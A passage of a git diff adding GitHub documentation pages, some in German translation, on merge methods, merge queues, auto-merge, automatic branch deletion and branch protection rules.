+If you select more than one merge method, collaborators can choose which type of merge commit to use when they merge a pull request. {% data reusables.repositories.squash-and-rebase-linear-commit-history %}
+
+## Further reading
+
+- "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)"
+- "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)"
diff --git a/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/index.md b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/index.md
new file mode 100644
index 0000000000..bf762e72cc
--- /dev/null
+++ b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/index.md
@@ -0,0 +1,25 @@
+---
+title: Configuring pull request merges
+intro: 'You can configure pull request merges on {% data variables.location.product_location %} to match your workflow and preferences for managing Git history.'
+redirect_from:
+  - /articles/configuring-pull-request-merges
+  - /github/administering-a-repository/configuring-pull-request-merges
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+children:
+  - /about-merge-methods-on-github
+  - /configuring-commit-merging-for-pull-requests
+  - /configuring-commit-squashing-for-pull-requests
+  - /configuring-commit-rebasing-for-pull-requests
+  - /managing-a-merge-queue
+  - /managing-suggestions-to-update-pull-request-branches
+  - /managing-auto-merge-for-pull-requests-in-your-repository
+  - /managing-the-automatic-deletion-of-branches
+shortTitle: Configure PR merges
+---
+
diff --git a/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-a-merge-queue.md b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-a-merge-queue.md
new file mode 100644
index 0000000000..b509ddeb32
--- /dev/null
+++ b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-a-merge-queue.md
@@ -0,0 +1,69 @@
+---
+title: Verwalten einer Mergewarteschlange
+intro: Du kannst die Entwicklungsgeschwindigkeit mit einer Mergewarteschlange für Pull Requests in deinem Repository erhöhen.
+versions:
+  fpt: '*'
+  ghec: '*'
+permissions: People with admin permissions can manage merge queues for pull requests targeting selected branches of a repository.
+topics:
+  - Repositories
+  - Pull requests
+shortTitle: Managing merge queue
+redirect_from:
+  - /repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue
+ms.openlocfilehash: 2cdbbdc72dde5c9970d49f7060e5cb583b6dd1dd
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147496490'
+---
+{% data reusables.pull_requests.merge-queue-beta %}
+
+## Informationen zu Mergewarteschlangen
+
+{% data reusables.pull_requests.merge-queue-overview %}
+
+Mit einer Mergewarteschlange werden temporäre Branches mit einem speziellen Präfix erstellt, um Änderungen in Pull Requests zu überprüfen. Die Änderungen im Pull Request werden dann in eine `merge_group` mit der neuesten Version des `base_branch` sowie vorhergehenden Änderungen in der Warteschlange gruppiert. {% data variables.product.product_name %} führt alle diese Änderungen im `base_branch` zusammen, nachdem die für den Branchschutz erforderlichen Überprüfungen vom `base_branch` bestanden wurden.
+
+
+Weitere Informationen zu Mergemethoden findest du unter [Informationen zu Pull Request-Merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges).
+
+{% note %}
+
+**Hinweis:**
+
+* Mergewarteschlangen können nicht mit Branchschutzregeln aktiviert werden, die Platzhalterzeichen (`*`) im Branchnamenmuster enthalten.
+
+{% endnote %}
+
+{% data reusables.pull_requests.merge-queue-reject %}
+
+### Auslösen von Mergegruppenüberprüfungen mit {% data variables.product.prodname_actions %}
+
+Du kannst das `merge_group`-Ereignis verwenden, um deinen {% data variables.product.prodname_actions %}-Workflow auszulösen, wenn ein Pull Request einer Mergewarteschlange hinzugefügt wird. Beachte, dass sich dieses Ereignis von den `pull_request`- und `push`-Ereignissen unterscheidet.
+
+Ein Workflow, der eine vom Schutz des Zielbranch verlangte Überprüfung meldet, sieht wie folgt aus:
+
+```yaml
+on:
+  pull_request:
+  merge_group:
+```
+
+Weitere Informationen findest du unter [Ereignisse, die Workflows auslösen](/actions/using-workflows/events-that-trigger-workflows#merge-group).
+
+### Auslösen von Mergegruppenüberprüfungen bei anderen CI-Anbietern
+
+Bei anderen CI-Anbietern musst du möglicherweise deine CI-Konfiguration aktualisieren, damit sie ausgeführt wird, wenn ein mit dem speziellen Präfix `gh-readonly-queue/{base_branch}` beginnender Branch erstellt wird.
+
+## Verwalten einer Mergewarteschlange
+
+Repositoryadministrator*innen können eine Zusammenführung erfordern, indem sie die Branchschutzeinstellung „Erfordern von Mergewarteschlangen“ in den Schutzregeln für den Basisbranch aktivieren.
+
+Informationen zum Aktivieren von Schutzeinstellungen für die Mergewarteschlange findest du unter [Verwalten einer Branchschutzregel](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule#creating-a-branch-protection-rule).
+
+## Weiterführende Themen
+
+* [Zusammenführen eines Pull Requests mit einer Mergewarteschlange](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue)
+* [Informationen zu geschützten Branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)
diff --git a/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md
new file mode 100644
index 0000000000..73f543e7e9
--- /dev/null
+++ b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md
@@ -0,0 +1,29 @@
+---
+title: Managing auto-merge for pull requests in your repository
+intro: You can allow or disallow auto-merge for pull requests in your repository.
+product: '{% data reusables.gated-features.auto-merge %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+permissions: People with maintainer permissions can manage auto-merge for pull requests in a repository.
+topics:
+  - Repositories
+redirect_from:
+  - /github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository
+  - /github/administering-a-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository
+shortTitle: Manage auto merge
+---
+## About auto-merge
+
+If you allow auto-merge for pull requests in your repository, people with write permissions can configure individual pull requests in the repository to merge automatically when all merge requirements are met. If someone who does not have write permissions pushes changes to a pull request that has auto-merge enabled, auto-merge will be disabled for that pull request. For more information, see "[Automatically merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)."
+
+## Managing auto-merge
+
+{% data reusables.pull_requests.auto-merge-requires-branch-protection %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+1. Under {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}"Pull Requests"{% else %}"Merge button"{% endif %}, select or deselect **Allow auto-merge**.
+  ![Checkbox to allow or disallow auto-merge](/assets/images/help/pull_requests/allow-auto-merge-checkbox.png)
diff --git a/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches.md b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches.md
new file mode 100644
index 0000000000..a062a40948
--- /dev/null
+++ b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches.md
@@ -0,0 +1,26 @@
+---
+title: Managing suggestions to update pull request branches
+intro: You can give users the ability to always update a pull request branch when it is not up to date with the base branch.
+versions:
+  fpt: '*'
+  ghes: '> 3.4'
+  ghae: '>= 3.5'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Manage branch updates
+permissions: People with maintainer permissions can enable or disable the setting to suggest updating pull request branches.
+---
+
+## About suggestions to update a pull request branch
+
+If you enable the setting to always suggest updating pull request branches in your repository, people with write permissions will always have the ability, on the pull request page, to update a pull request's head branch when it's not up to date with the base branch. When not enabled, the ability to update is only available when the base branch requires branches to be up to date before merging and the branch is not up to date. For more information, see "[Keeping your pull request in sync with the base branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch)."
+
+{% data reusables.enterprise.3-5-missing-feature %}
+
+## Managing suggestions to update a pull request branch
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+3. Under "Pull Requests", select or unselect **Always suggest updating pull request branches**.
+  ![Checkbox to enable or disable always suggest updating branch](/assets/images/help/repository/always-suggest-updating-branches.png)
diff --git a/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md
new file mode 100644
index 0000000000..75a9ffa039
--- /dev/null
+++ b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md
@@ -0,0 +1,26 @@
+---
+title: Managing the automatic deletion of branches
+intro: You can have head branches automatically deleted after pull requests are merged in your repository.
+redirect_from:
+  - /articles/managing-the-automatic-deletion-of-branches
+  - /github/administering-a-repository/managing-the-automatic-deletion-of-branches
+  - /github/administering-a-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Automatic branch deletion
+---
+Anyone with admin permissions to a repository can enable or disable the automatic deletion of branches.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+3. Under {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}"Pull Requests"{% else %}"Merge button"{% endif %}, select or unselect **Automatically delete head branches**.
+  ![Checkbox to enable or disable automatic deletion of branches](/assets/images/help/repository/automatically-delete-branches.png)
+
+## Further reading
+- "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)"
+- "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository)"
diff --git a/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md
new file mode 100644
index 0000000000..a2808b957d
--- /dev/null
+++ b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md
@@ -0,0 +1,214 @@
+---
+title: About protected branches
+intro: 'You can protect important branches by setting branch protection rules, which define whether collaborators can delete or force push to the branch and set requirements for any pushes to the branch, such as passing status checks or a linear commit history.'
+product: '{% data reusables.gated-features.protected-branches %}'
+redirect_from:
+  - /articles/about-protected-branches
+  - /enterprise/admin/developer-workflow/about-protected-branches-and-required-status-checks
+  - /articles/about-branch-restrictions
+  - /github/administering-a-repository/about-branch-restrictions
+  - /articles/about-required-status-checks
+  - /github/administering-a-repository/about-required-status-checks
+  - /articles/types-of-required-status-checks
+  - /github/administering-a-repository/types-of-required-status-checks
+  - /articles/about-required-commit-signing
+  - /github/administering-a-repository/about-required-commit-signing
+  - /articles/about-required-reviews-for-pull-requests
+  - /github/administering-a-repository/about-required-reviews-for-pull-requests
+  - /github/administering-a-repository/about-protected-branches
+  - /github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+---
+## About branch protection rules
+
+You can enforce certain workflows or requirements before a collaborator can push changes to a branch in your repository, including merging a pull request into the branch, by creating a branch protection rule.
+
+By default, each branch protection rule disables force pushes to the matching branches and prevents the matching branches from being deleted. You can optionally disable these restrictions and enable additional branch protection settings.
+
+{% ifversion bypass-branch-protections %}
+By default, the restrictions of a branch protection rule don't apply to people with admin permissions to the repository or custom roles with the "bypass branch protections" permission. You can optionally apply the restrictions to administrators and roles with the "bypass branch protections" permission, too. For more information, see "[Managing custom repository roles for an organization](/en/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)".
+{% else %} 
+By default, the restrictions of a branch protection rule don't apply to people with admin permissions to the repository. You can optionally choose to include administrators, too.{% endif %}
+
+{% data reusables.repositories.branch-rules-example %} For more information about branch name patterns, see "[Managing a branch protection rule](/github/administering-a-repository/managing-a-branch-protection-rule)."
+
+{% data reusables.pull_requests.you-can-auto-merge %}
+
+## About branch protection settings
+
+For each branch protection rule, you can choose to enable or disable the following settings.
+- [Require pull request reviews before merging](#require-pull-request-reviews-before-merging)
+- [Require status checks before merging](#require-status-checks-before-merging)
+- [Require conversation resolution before merging](#require-conversation-resolution-before-merging)
+- [Require signed commits](#require-signed-commits)
+- [Require linear history](#require-linear-history)
+{% ifversion fpt or ghec %}
+- [Require merge queue](#require-merge-queue)
+{% endif %}
+{%- ifversion required-deployments %}
+- [Require deployments to succeed before merging](#require-deployments-to-succeed-before-merging)
+{%- endif %}
+{%- ifversion lock-branch %}
+- [Lock branch](#lock-branch)
+{%- endif %}
+{% ifversion bypass-branch-protections %}- [Do not allow bypassing the above settings](#do-not-allow-bypassing-the-above-settings){% else %}- [Include administrators](#include-administrators){% endif %}
+- [Restrict who can push to matching branches](#restrict-who-can-push-to-matching-branches)
+- [Allow force pushes](#allow-force-pushes)
+- [Allow deletions](#allow-deletions)
+
+For more information on how to set up branch protection, see "[Managing a branch protection rule](/github/administering-a-repository/managing-a-branch-protection-rule)."
+
+### Require pull request reviews before merging
+
+{% data reusables.pull_requests.required-reviews-for-prs-summary %}
+
+If you enable required reviews, collaborators can only push changes to a protected branch via a pull request that is approved by the required number of reviewers with write permissions.
+
+If a person with admin permissions chooses the **Request changes** option in a review, then that person must approve the pull request before the pull request can be merged. If a reviewer who requests changes on a pull request isn't available, anyone with write permissions for the repository can dismiss the blocking review.
+
+{% data reusables.repositories.review-policy-overlapping-commits %}
+
+If a collaborator attempts to merge a pull request with pending or rejected reviews into the protected branch, the collaborator will receive an error message.
+
+```shell
+remote: error: GH006: Protected branch update failed for refs/heads/main.
+remote: error: Changes have been requested.
+```
+
+Optionally, you can choose to dismiss stale pull request approvals when commits are pushed. If anyone pushes a commit that modifies code to an approved pull request, the approval will be dismissed, and the pull request cannot be merged. This doesn't apply if the collaborator pushes commits that don't modify code, like merging the base branch into the pull request's branch. For information about the base branch, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."
+
+Optionally, you can restrict the ability to dismiss pull request reviews to specific people or teams. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)."
+
+Optionally, you can choose to require reviews from code owners. If you do, any pull request that affects code with a code owner must be approved by that code owner before the pull request can be merged into the protected branch.
+
+{% ifversion last-pusher-require-approval %}
+Optionally, you can require approvals from someone other than the last person to push to a branch before a pull request can be merged. This ensures more than one person sees pull requests in their final state before they are merged into a protected branch. If you enable this feature, the most recent user to push their changes will need an approval regardless of the required approvals branch protection. Users who have already reviewed a pull request can reapprove after the most recent push to meet this requirement.
+{% endif %}
+
+### Require status checks before merging
+
+Required status checks ensure that all required CI tests are passing before collaborators can make changes to a protected branch. Required status checks can be checks or statuses. For more information, see "[About status checks](/github/collaborating-with-issues-and-pull-requests/about-status-checks)."
+
+Before you can enable required status checks, you must configure the repository to use the commit status API. For more information, see "[Commit statuses](/rest/commits/statuses)" in the REST API documentation.
+
+After enabling required status checks, all required status checks must pass before collaborators can merge changes into the protected branch. After all required status checks pass, any commits must either be pushed to another branch and then merged or pushed directly to the protected branch.
+
+Any person or integration with write permissions to a repository can set the state of any status check in the repository{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}, but in some cases you may only want to accept a status check from a specific {% data variables.product.prodname_github_app %}. When you add a required status check, you can select an app that has recently set this check as the expected source of status updates.{% endif %} If the status is set by any other person or integration, merging won't be allowed. If you select "any source", you can still manually verify the author of each status, listed in the merge box.
+
+You can set up required status checks to either be "loose" or "strict." The type of required status check you choose determines whether your branch is required to be up to date with the base branch before merging.
+
+| Type of required status check | Setting | Merge requirements | Considerations |
+| --- | --- | --- | --- |
+| **Strict** | The **Require branches to be up to date before merging** checkbox is checked. | The branch **must** be up to date with the base branch before merging. | This is the default behavior for required status checks. More builds may be required, as you'll need to bring the head branch up to date after other collaborators merge pull requests to the protected base branch.|
+| **Loose** | The **Require branches to be up to date before merging** checkbox is **not** checked. | The branch **does not** have to be up to date with the base branch before merging. | You'll have fewer required builds, as you won't need to bring the head branch up to date after other collaborators merge pull requests. Status checks may fail after you merge your branch if there are incompatible changes with the base branch. |
+| **Disabled** | The **Require status checks to pass before merging** checkbox is **not** checked. | The branch has no merge restrictions. | If required status checks aren't enabled, collaborators can merge the branch at any time, regardless of whether it is up to date with the base branch. This increases the possibility of incompatible changes.
+
+For troubleshooting information, see "[Troubleshooting required status checks](/github/administering-a-repository/troubleshooting-required-status-checks)."
+
+### Require conversation resolution before merging
+
+Requires all comments on the pull request to be resolved before it can be merged to a protected branch. This ensures that all comments are addressed or acknowledged before merge.
+
+### Require signed commits
+
+When you enable required commit signing on a branch, contributors {% ifversion fpt or ghec %}and bots{% endif %} can only push commits that have been signed and verified to the branch. For more information, see "[About commit signature verification](/articles/about-commit-signature-verification)."
+
+{% note %}
+
+{% ifversion fpt or ghec %}
+**Notes:** 
+
+* If you have enabled vigilant mode, which indicates that your commits will always be signed, any commits that {% data variables.product.prodname_dotcom %} identifies as "Partially verified" are permitted on branches that require signed commits. For more information about vigilant mode, see "[Displaying verification statuses for all of your commits](/github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits)."
+* If a collaborator pushes an unsigned commit to a branch that requires commit signatures, the collaborator will need to rebase the commit to include a verified signature, then force push the rewritten commit to the branch.
+
+{% else %}
+**Note:** If a collaborator pushes an unsigned commit to a branch that requires commit signatures, the collaborator will need to rebase the commit to include a verified signature, then force push the rewritten commit to the branch.
+{% endif %}
+
+{% endnote %}
+
+You can always push local commits to the branch if the commits are signed and verified. {% ifversion fpt or ghec %}You can also merge signed and verified commits into the branch using a pull request on {% data variables.product.product_name %}. However, you cannot squash and merge a pull request into the branch on {% data variables.product.product_name %} unless you are the author of the pull request.{% else %} However, you cannot merge pull requests into the branch on {% data variables.product.product_name %}.{% endif %} You can {% ifversion fpt or ghec %}squash and {% endif %}merge pull requests locally. For more information, see "[Checking out pull requests locally](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally)."
+
+{% ifversion fpt or ghec %} For more information about merge methods, see "[About merge methods on {% data variables.product.prodname_dotcom %}](/github/administering-a-repository/about-merge-methods-on-github)."{% endif %}
+
+### Require linear history
+
+Enforcing a linear commit history prevents collaborators from pushing merge commits to the branch. This means that any pull requests merged into the protected branch must use a squash merge or a rebase merge. A strictly linear commit history can help teams reverse changes more easily. For more information about merge methods, see "[About pull request merges](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges)."
+
+Before you can require a linear commit history, your repository must allow squash merging or rebase merging. For more information, see "[Configuring pull request merges](/github/administering-a-repository/configuring-pull-request-merges)."
+
+{% ifversion fpt or ghec %}
+### Require merge queue
+
+{% data reusables.pull_requests.merge-queue-beta %}
+{% data reusables.pull_requests.merge-queue-overview %}
+ 
+{% data reusables.pull_requests.merge-queue-merging-method %}
+{% data reusables.pull_requests.merge-queue-references %}
+
+{% endif %}
+
+### Require deployments to succeed before merging
+
+You can require that changes are successfully deployed to specific environments before a branch can be merged. For example, you can use this rule to ensure that changes are successfully deployed to a staging environment before the changes merge to your default branch.
+
+{% ifversion lock-branch %}
+### Lock branch
+
+Locking a branch ensures that no commits can be made to the branch. 
+By default, a forked repository does not support syncing from its upstream repository. You can enable **Allow fork syncing** to pull changes from the upstream repository while preventing other contributions to the fork's branch.
+{%  endif %}
+
+{% ifversion bypass-branch-protections %}### Do not allow bypassing the above settings{% else %}
+### Include administrators{% endif %}
+
+{% ifversion bypass-branch-protections %}
+By default, the restrictions of a branch protection rule do not apply to people with admin permissions to the repository or custom roles with the "bypass branch protections" permission in a repository. 
+
+You can enable this setting to apply the restrictions to admins and roles with the "bypass branch protections" permission, too.  For more information, see "[Managing custom repository roles for an organization](/en/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)".
+{% else %}
+By default, protected branch rules do not apply to people with admin permissions to a repository. You can enable this setting to include administrators in your protected branch rules.{% endif %}
+
+### Restrict who can push to matching branches
+
+{% ifversion fpt or ghec %}
+You can enable branch restrictions if your repository is owned by an organization using {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %}.
+{% endif %}
+
+When you enable branch restrictions, only users, teams, or apps that have been given permission can push to the protected branch. You can view and edit the users, teams, or apps with push access to a protected branch in the protected branch's settings. When status checks are required, the people, teams, and apps that have permission to push to a protected branch will still be prevented from merging into the branch when the required checks fail. People, teams, and apps that have permission to push to a protected branch will still need to create a pull request when pull requests are required.
+
+{% ifversion restrict-pushes-create-branch %}
+Optionally, you can apply the same restrictions to the creation of branches that match the rule. For example, if you create a rule that only allows a certain team to push to any branches that contain the word `release`, only members of that team would be able to create a new branch that contains the word `release`.
+{% endif %}
+
+You can only give push access to a protected branch, or give permission to create a matching branch, to users, teams, or installed {% data variables.product.prodname_github_apps %} with write access to a repository. People and apps with admin permissions to a repository are always able to push to a protected branch{% ifversion restrict-pushes-create-branch %} or create a matching branch{% endif %}.
+
+### Allow force pushes
+
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+By default, {% data variables.product.product_name %} blocks force pushes on all protected branches. When you enable force pushes to a protected branch, you can choose one of two groups who can force push:
+
+1. Allow everyone with at least write permissions to the repository to force push to the branch, including those with admin permissions.
+1. Allow only specific people or teams to force push to the branch.
+
+If someone force pushes to a branch, the force push may overwrite commits that other collaborators based their work on. People may have merge conflicts or corrupted pull requests.
+
+{% else %}
+By default, {% data variables.product.product_name %} blocks force pushes on all protected branches. When you enable force pushes to a protected branch, anyone with at least write permissions to the repository can force push to the branch, including those with admin permissions. If someone force pushes to a branch, the force push may overwrite commits that other collaborators based their work on. People may have merge conflicts or corrupted pull requests.
+{% endif %}
+
+Enabling force pushes will not override any other branch protection rules. For example, if a branch requires a linear commit history, you cannot force push merge commits to that branch.
+
+{% ifversion ghes or ghae %}You cannot enable force pushes for a protected branch if a site administrator has blocked force pushes to all branches in your repository. For more information, see "[Blocking force pushes to repositories owned by a personal account or organization](/enterprise/admin/developer-workflow/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization)."
+
+If a site administrator has blocked force pushes to the default branch only, you can still enable force pushes for any other protected branch.{% endif %}
+
+### Allow deletions
+
+By default, you cannot delete a protected branch. When you enable deletion of a protected branch, anyone with at least write permissions to the repository can delete the branch.
diff --git a/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md
new file mode 100644
index 0000000000..24a9411aec
--- /dev/null
+++ b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md
@@ -0,0 +1,29 @@
+---
+title: Merge-Fähigkeit von Pull Requests definieren
+intro: 'Du kannst verlangen, dass Pull Requests vor dem Zusammenführen einige Tests bestehen müssen. Du kannst beispielsweise Pull Requests blockieren, welche Statuschecks nicht bestehen, oder verlangen, dass Pull Requests für das Zusammenführen eine bestimmte Anzahl von genehmigenden Reviews aufweisen müssen.'
+redirect_from:
+  - /articles/defining-the-mergeability-of-a-pull-request
+  - /articles/defining-the-mergeability-of-pull-requests
+  - /enterprise/admin/developer-workflow/establishing-pull-request-merge-conditions
+  - /github/administering-a-repository/defining-the-mergeability-of-pull-requests
+product: '{% data reusables.gated-features.protected-branches %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+children:
+  - /about-protected-branches
+  - /managing-a-branch-protection-rule
+  - /troubleshooting-required-status-checks
+shortTitle: Mergeability of PRs
+ms.openlocfilehash: 4f3f4de6c136710ba2689b22e6def8c7d8de859c
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147882425'
+---
+
diff --git a/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md
new file mode 100644
index 0000000000..bef4499ff6
--- /dev/null
+++ b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md
@@ -0,0 +1,153 @@
+---
+title: Managing a branch protection rule
+intro: 'You can create a branch protection rule to enforce certain workflows for one or more branches, such as requiring an approving review or passing status checks for all pull requests merged into the protected branch.'
+product: '{% data reusables.gated-features.protected-branches %}'
+redirect_from:
+  - /articles/configuring-protected-branches
+  - /enterprise/admin/developer-workflow/configuring-protected-branches-and-required-status-checks
+  - /articles/enabling-required-status-checks
+  - /github/administering-a-repository/enabling-required-status-checks
+  - /articles/enabling-branch-restrictions
+  - /github/administering-a-repository/enabling-branch-restrictions
+  - /articles/enabling-required-reviews-for-pull-requests
+  - /github/administering-a-repository/enabling-required-reviews-for-pull-requests
+  - /articles/enabling-required-commit-signing
+  - /github/administering-a-repository/enabling-required-commit-signing
+  - /github/administering-a-repository/requiring-a-linear-commit-history
+  - /github/administering-a-repository/enabling-force-pushes-to-a-protected-branch
+  - /github/administering-a-repository/enabling-deletion-of-a-protected-branch
+  - /github/administering-a-repository/managing-a-branch-protection-rule
+  - /github/administering-a-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+permissions: People with admin permissions to a repository can manage branch protection rules.
+topics:
+  - Repositories
+shortTitle: Branch protection rule
+---
+## About branch protection rules
+
+{% data reusables.repositories.branch-rules-example %}
+
+You can create a rule for all current and future branches in your repository with the wildcard syntax `*`. Because {% data variables.product.company_short %} uses the `File::FNM_PATHNAME` flag for the `File.fnmatch` syntax, the wildcard does not match directory separators (`/`). For example, `qa/*` will match all branches beginning with `qa/` and containing a single slash. You can include multiple slashes with `qa/**/*`, and you can extend the `qa` string with `qa**/**/*` to make the rule more inclusive. For more information about syntax options for branch rules, see the [fnmatch documentation](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch).
+
+If a repository has multiple protected branch rules that affect the same branches, the rules that include a specific branch name have the highest priority. If there is more than one protected branch rule that references the same specific branch name, then the branch rule created first will have higher priority.
+
+Protected branch rules that mention a special character, such as `*`, `?`, or `]`, are applied in the order they were created, so older rules with these characters have a higher priority.
+
+To create an exception to an existing branch rule, you can create a new branch protection rule that is higher priority, such as a branch rule for a specific branch name.
+
+For more information about each of the available branch protection settings, see "[About protected branches](/github/administering-a-repository/about-protected-branches)."
+
+## Creating a branch protection rule
+
+When you create a branch rule, the branch you specify doesn't have to exist yet in the repository.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.repository-branches %}
+{% data reusables.repositories.add-branch-protection-rules %}
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+1. Optionally, enable required pull requests.
+   - Under "Protect matching branches", select **Require a pull request before merging**.
+     ![Pull request review restriction checkbox](/assets/images/help/repository/PR-reviews-required-updated.png)
+   - Optionally, to require approvals before a pull request can be merged, select **Require approvals**, click the **Required number of approvals before merging** drop-down menu, then select the number of approving reviews you would like to require on the branch.
+     ![Drop-down menu to select number of required review approvals](/assets/images/help/repository/number-of-required-review-approvals-updated.png)
+{% else %}
+1. Optionally, enable required pull request reviews.
+   - Under "Protect matching branches", select **Require pull request reviews before merging**.
+     ![Pull request review restriction checkbox](/assets/images/help/repository/PR-reviews-required.png)
+   - Click the **Required approving reviews** drop-down menu, then select the number of approving reviews you would like to require on the branch. 
+     ![Drop-down menu to select number of required review approvals](/assets/images/help/repository/number-of-required-review-approvals.png)
+{% endif %}
+   - Optionally, to dismiss a pull request approval review when a code-modifying commit is pushed to the branch, select **Dismiss stale pull request approvals when new commits are pushed**.
+     ![Dismiss stale pull request approvals when new commits are pushed checkbox](/assets/images/help/repository/PR-reviews-required-dismiss-stale.png)
+   - Optionally, to require review from a code owner when the pull request affects code that has a designated owner, select **Require review from Code Owners**. For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)."
+     ![Require review from code owners](/assets/images/help/repository/PR-review-required-code-owner.png)
